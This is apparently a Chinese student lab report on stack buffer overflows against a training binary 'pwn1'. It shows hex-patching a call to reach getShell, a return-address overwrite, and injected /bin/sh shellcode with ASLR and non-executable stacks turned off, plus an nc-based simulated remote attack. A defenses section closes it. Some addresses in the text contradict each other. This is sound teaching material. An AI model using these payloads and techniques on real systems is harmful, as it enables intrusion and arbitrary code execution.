zoukankan      html  css  js  c++  java

  • 20182213 exp1 逆向与BOF基础实践说明

    1 逆向及Bof基础实践说明

    --

    1.1 实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

    --

    • 三个实践内容如下：

      • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。

    • 这几种思路，基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。

    --

    1.2 基础知识

    2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    指令 机器码 说明
    JNE 75 条件转移指令，如果不相等则跳转
    JE 74 条件转移指令，如果相等则跳转
    JMP EB E9 FF EA 无条件转移指令。段内直接短转Jmp short，段内直接近转移Jmp near，段内间接转移Jmp word，段间直接远转移Jmp far
    NOP 90 不作为指令
    CMP 比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果

    2.2 掌握反汇编与十六进制编程器

    2.2.1 反汇编主要用的命令是objdump -d 目标文件 | more

    其中obj代表对象，dump用来导出 -d进行反汇编 ｜是管道符，将输出传入more中，more是Linux的翻页指令

    2.2.2 十六进制编程器是wxHexEditor，可以进行十六进制的查看和相应修改，避免我们对vim编辑器的操作不熟悉导致的错误。

    用于图形化

    2 直接修改程序机器指令，改变程序执行流程

    • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

    • 学习目标：理解可执行文件与机器指令

    • 进阶：掌握ELF文件格式，掌握动态技术

    --

    实验方法：通过手工修改可执行文件，改变程序执行流程，使得call函数的跳转不是foo函数而是直接跳转到getShell函数。

    1.将下载好的pwn1文件重命名为pwn20182213，并进行试运行和反汇编，运行结果如下：

    下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

    
root@KaliYL:~#  objdump -d pwn1 | more

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 ...
08048491 <foo>:
 8048491:	55                   	push   %ebp
 ...
080484af <main>:
 ...
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo> 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 ...

    --
    我们在终端中查询主函数，截图如下，观察可知，反汇编结果正确

    • 先看第12行，"call 8048491 "是汇编指令
      • 是说这条指令将调用位于地址8048491处的foo函数；
      • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
        • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

    --

    • main函数调用foo，对应机器指令为“ e8 d7ffffff”，

      • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
      • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

    • 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    --

    root@KaliYL:~# cp pwn1 pwn2
root@KaliYL:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

    可以清楚看到call中调用的函数从foo变成了getsell

    --

    以上编辑操作也可以在图形化的16进制编程器中完成。实测可用。

    root@KaliYL:~# apt-get install wxhexeditor
root@KaliYL:~# wxHexEditor

    --

    8.再反汇编看一下，call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn2 | more
...
080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax


9.运行下改后的代码，会得到shell提示符#
root@KaliYL:~# ./pwn2
# ls
20135201_met_rtcp_136_443backdoor.exe  pwn1.bak

    3 通过构造输入参数，造成BOF攻击，改变程序执行流

    知识要求：堆栈结构，返回地址
    学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
    进阶：掌握ELF文件格式，掌握动态技术

    --

    3.1 反汇编，了解程序的基本功能

    
root@KaliYL:~#  objdump -d pwn1 | more

 8048477:	90                   	nop
 8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>

== 注意这个函数getShell，我们的目标是触发这个函数  ==

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave  
 8048490:	c3                   	ret    

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 == 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret    

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
 
 ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

    --

    3.2 确认输入字符串哪几个字符会覆盖到返回地址

    
root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1 
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.
0x35353535 in ?? ()
(gdb) info r
eax            0x29	41
ecx            0xffffffff	-1
edx            0xf7fab870	-134563728
ebx            0x0	0
esp            0xffffd320	0xffffd320
ebp            0x34343434	0x34343434
esi            0xf7faa000	-134569984
edi            0xf7faa000	-134569984
eip            0x35353535	0x35353535            //注意EIP的值，是ASCII 5
eflags         0x10246	[ PF ZF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pwn1 
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip            0x34333231	0x34333231
eflags         0x10246	[ PF ZF IF RF ]

(gdb)

    这里需要看的是eip的值，此处为0x35353535，35是5的ASCII码值，我们输入总计36位，可以看出此处超出28位的5555溢出到了EIP中

    --

    我们来进一步确定究竟是哪4位的数据溢出到EIP中，我们输入1111111122222222333333334444444412345678进行测试

    观察可知此处EIP的值为0x34333231，分别对应4321的ascii码，最后是29～32位上的1234覆盖到对战的返回地址EIP的位置上，所以如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

    --

    3.3 确认用什么值来覆盖返回地址

    getShell的内存地址，通过反汇编时可以看到，即0804847d。

    接下来要确认下字节序，简单说是输入11111111222222223333333344444444x08x04x84x7d,还是输入11111111222222223333333344444444x7dx84x04x08。

    --

    (gdb) break *0x804849d
Breakpoint 2 at 0x804849d
(gdb) info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   <PENDING>  x804849d
2       breakpoint     keep y   0x0804849d <foo+12>
(gdb) r
Starting program: /root/pwn1 

Breakpoint 2, 0x0804849d in foo ()
(gdb) info r
eip            0x804849d	0x804849d <foo+12>

    对比之前 eip 0x34333231 0x34333231 ，正确应用输入 11111111222222223333333344444444x7dx84x04x08。

    --

    3.4 构造输入字符串

    由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

    root@KaliYL:~# perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    关于Perl：
    Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。
    使用输出重定向“>”将perl生成的字符串存储到文件input中。

    --

    可以使用16进制查看指令xxd查看input文件的内容是否如预期。

    root@KaliYL:~# xxd input
00000000: 3131 3131 3131 3131 3232 3232 3232 3232  1111111122222222
00000010: 3333 3333 3333 3333 3434 3434 3434 3434  3333333344444444
00000020: 7d84 0408 0a                             }....
root@KaliYL:~#

    --

    然后将input的输入，通过管道符“|”，作为pwn1的输入。

    root@KaliYL:~# (cat input; cat) | ./pwn1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}�
ls //这是获取Shell后我输入的指令
20135201_met_rtcp_136_443backdoor.exe  ropasurusrex_
attacker.js			       ropasurusrex_.zip
backdoor			       shell.php
blpVUtjb.jpeg			       UserDatabase.mv.db
c				       webgoat-container-7.0.1-war-exec.jar
pwn1

    --

    root@KaliYL:~# (perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"';cat) | ./pwn1
11111111222222223333333344444444}�
ls
20135201_met_rtcp_136_443backdoor.exe  pwn1

    可以观察到我们使用perl语言将其存入文件中，最后成功

    4. 注入Shellcode并执行

    --

    4.1 准备一段Shellcode

    • shellcode就是一段机器指令（code）
      • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

    --

    最基本的shellcode的编写可参考许同学的文章Shellcode入门，写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下：

    
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    --

    关于更多Shellcode的知识，请参考Shellcode基础。

    --

    4.2 准备工作

    修改些设置。这部分的解释请看第5小节Bof攻击防御技术.

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

    可以看到地址随机化被关闭，且文件堆栈处于可执行的状态

    --

    4.3 构造要注入的payload。

    • Linux下有两种基本构造攻击buf的方法：
      • retaddr+nop+shellcode
      • nop+shellcode+retaddr。
    • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
    • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

    --

    • 我们这个buf够放这个shellcode了
    • 结构为：nops+shellcode+retaddr。
      • nop一为是了填充，二是作为“着陆区/滑行区”。
      • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

    --

    root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    --

    接下来我们来确定x4x3x2x1到底该填什么。

    打开一个终端注入这段攻击buf：

    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
                           �

    --

    再开另外一个终端，用gdb来调试pwn1这个进程。

    //1.找到pwn1的进程号是：27728

root@KaliYL:/home# ps -ef | grep pwn1
root      27728  25675  0 10:19 pts/1    00:00:00 ./pwn1
root      27732  25991  0 10:19 pts/2    00:00:00 grep pwn1
root@KaliYL:/home# 

//2.启动gdb调试这个进程
root@KaliYL:/home# gdb
(gdb) attach 27728
Attaching to process 27728

//3. 通过设置断点，来查看注入buf的内存地址
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x08048491 <+0>:	push   %ebp
   0x08048492 <+1>:	mov    %esp,%ebp
   0x08048494 <+3>:	sub    $0x38,%esp
   0x08048497 <+6>:	lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:	mov    %eax,(%esp)
   0x0804849d <+12>:	call   0x8048330 <gets@plt>
   0x080484a2 <+17>:	lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:	mov    %eax,(%esp)
   0x080484a8 <+23>:	call   0x8048340 <puts@plt>
   0x080484ad <+28>:	leave  
   0x080484ae <+29>:	ret    //断在这，这时注入的东西都大堆栈上了
                              //ret完，就跳到我们覆盖的retaddr那个地方了
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//在另外一个终端中按下回车，这就是前面为什么不能以x0a来结束 input_shellcode的原因。
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp            0xffffd31c	0xffffd31c
(gdb) x/16x 0xffffd31c  //看到 01020304了，再往前找
0xffffd31c:	0x01020304	0xf7fa0000	0xf7faa000	0x00000000
0xffffd32c:	0xf7e135f7	0x00000001	0xffffd3c4	
(gdb) x/16x 0xffffd300   //看到9090310c了，再往前一点
0xffffd300:	0xc0319090	0x2f2f6850	0x2f686873	0x896e6962
0xffffd310:	0x895350e3	0xb0d231e1	0x9080cd0b	
(gdb) x/16x 0xffffd2fc //从这开始就是我们的Shellcode
0xffffd2fc:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
0xffffd30c:	0x896e6962	0x895350e3	0xb0d231e1	0x9080cd0b
0xffffd31c:	0x01020304	0xf7fa0000	0xf7faa000	0x00000000
0xffffd32c:	0xf7e135f7	0x00000001	0xffffd3c4	0xffffd3cc 
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x01020304 in ?? ()       //这个返回地址占位也是对的
(gdb) quit


//4.我决定将返回地址改为0xffffd300。
root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
                           �
ls
Segmentation fault
root@KaliYL:~#               //唉，没成功耶

//5.查找原因。同上面步骤运行，gdb调试。
(gdb) attach 27883
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r
esp            0xffffd31c	0xffffd31c
eip            0x80484ae	0x80484ae <foo+29>

(gdb) x/16x 0xffffd300 //看起来buf没问题
0xffffd300:	0xc0319090	0x2f2f6850	0x2f686873	0x896e6962
0xffffd310:	0x895350e3	0xb0d231e1	0x9080cd0b	0xffffd300
0xffffd320:	0xf7fa0000	0xf7faa000	0x00000000	0xf7e135f7
0xffffd330:	0x00000001	0xffffd3c4	0xffffd3cc	0x00000000

    我们可以看到01020304，于是我们继续向前，找寻0xffffd580，此时我们可以看见9090310c于是我们向前寻找ffffd57c，最终我们找到了90909090


    我决定将返回地址改为0xffffd580

    注入


    --


    单步时大家可以对着shellcode的汇编看。我是看执行了几个字节，来猜到哪步了。

    (gdb) si //si是step instruction的简写，表示运行一条指令  
0xffffd300 in ?? ()   //也跳转到我们的shellcode了，那我们就一步步执行看哪步错
(gdb) si
0xffffd301 in ?? ()   //nop
(gdb) si 
0xffffd302 in ?? ()   //xor %eax,%eax
(gdb) si
0xffffd304 in ?? ()
(gdb) si
0xffffd305 in ?? ()
(gdb) si
0xffffd30a in ?? ()
(gdb) si
0xffffd30f in ?? ()
(gdb) si
0xffffd311 in ?? ()
(gdb) si
0xffffd312 in ?? ()   //push %ebx 是这句出的错
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0xffffd312 in ?? ()
(gdb) info r esp    //问题呢可能是我的代码也在堆栈上，当前栈顶也在这，一push就把指令自己给覆盖了，咋能这么巧呢
esp            0xffffd310	0xffffd310
(gdb)

    单步调试

    上面部分是坑，你跳了没！！
    幸运的是我入坑了，但入坑的同时学会了单步调试设断点等一系列能力，还是值得的

    --

    重新开始

    结构为：anything+retaddr+nops+shellcode。

    (gdb) x/16x 0xffffd31c  //看到 01020304了，就是返回地址的位置。shellcode就挨着，所以地址是 0xffffd320
0xffffd31c:	0x01020304	0xf7fa0000	0xf7faa000	0x00000000
0xffffd32c:	0xf7e135f7	0x00000001	0xffffd3c4

    看到 01020304了，就是返回地址的位置。shellcode就挨着，所以地址是 0xffffd5a0，修改后放入

    可以观察到修改返回地址后成功了，没有进行报错

    --

    root@KaliYL:~# perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

root@KaliYL:~# xxd input_shellcode
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 20d3 ffff 9090 9090 9090 31c0 5068 2f2f   .........1.Ph//
00000030: 7368 682f 6269 6e89 e350 5389 e131 d2b0  shh/bin..PS..1..
00000040: 0bcd 8090 00d3 ffff 00                   .........

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ���������1�Ph//shh/bin��PS��1Ұ
                                                               �
ls
20135201_met_rtcp_136_443backdoor.exe  pwn1

    wow成功了！！

    --

    是不是很简单？是不是很简单？是不是很简单？

    如果你觉得的“是”，注意这个事实：以上实践是在非常简单的一个预设条件下完成的：

    （1）关闭堆栈保护（gcc -fno-stack-protector）

    （2）关闭堆栈执行保护(execstack -s)

    （3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

    （4）在x32环境下

    （5）在Linux实践环境

    可以继续研究更换以上任何一个条件下如何继续bof攻击。

    --

    4.5 结合nc模拟远程攻击

    本例中是在同一台主机上做的实验；该实验最好在互相连通的两台Linux上做，将ip地址替换为主机1的IP即可。

    主机1，模拟一个有漏洞的网络服务：

    root:~# nc -l 127.0.0.1 -p 28234  -e ./pwn1

-l 表示listen, -p 后加端口号 -e 后加可执行文件，网络上接收的数据将作为这个程序的输入

    主机2，连接主机1并发送攻击载荷：

    root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令就可以了
ls

    我选择的是自己主机攻击自己主机


    打开第三个终端进行调试，这里可以算出地址为0xffffd5b0，注入进ret返回地址里面。


    注入成功

    5 Bof攻击防御技术

    --

    5.1. 从防止注入的角度。

    在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。

    GCC 中的编译器堆栈保护技术

    --

    5.2. 注入入了也不让运行。

    结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。

    root@KaliYL:~# apt-cache search execstack
execstack - ELF GNU_STACK program header editing utility
root@KaliYL:~# apt-get install execstack

root@KaliYL:~# execstack --help
Usage: execstack [OPTION...]
execstack -- program to query or set executable stack flag

  -c, --clear-execstack      Clear executable stack flag bit
  -q, --query                Query executable stack flag bit
  -s, --set-execstack        Set executable stack flag bit

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1

    Linux可执行文件堆栈执行标识设置

    --

    5.3. 增加shellcode的构造难度。

    shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

    ASLR

    --

    /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况
 
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。


root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

    ASLR Exploitation

    --

    5.4 从管理的角度

    加强编码质量。注意边界检测。使用最新的安全的库函数。

    6 扩展阅读

    64位系统对BOF攻击影响非常大，基本先天免疫。一个原因是地址空间大，每个地址都有大量00，没法注啊。启用地址随机化后，也没法猜啊。想研究可以读下附件中的《x86-64 buffer overflow.pdf》。

    接下来可以做一下实验楼的Return-to-libc 攻击实验。再研究 rop (Return Orientated Programming)rop攻击实例。多动手实践基本Linux漏洞攻击。

    最后看看各种技术持综述：矛与盾：二进制漏洞攻防思想对抗。
  • 相关阅读:
    学习进度10
    阅读笔记07
    构建之法阅读笔记06
    学习进度09
    构建之法阅读笔记05
    团队项目个人每日总结（4.27）
    学习进度08
    构建之法阅读笔记04
    写好一份技术简历很重要
    技术人员的发展之路
  • 原文地址：https://www.cnblogs.com/Mellivorac/p/14510359.html
Copyright © 2011-2022 走看看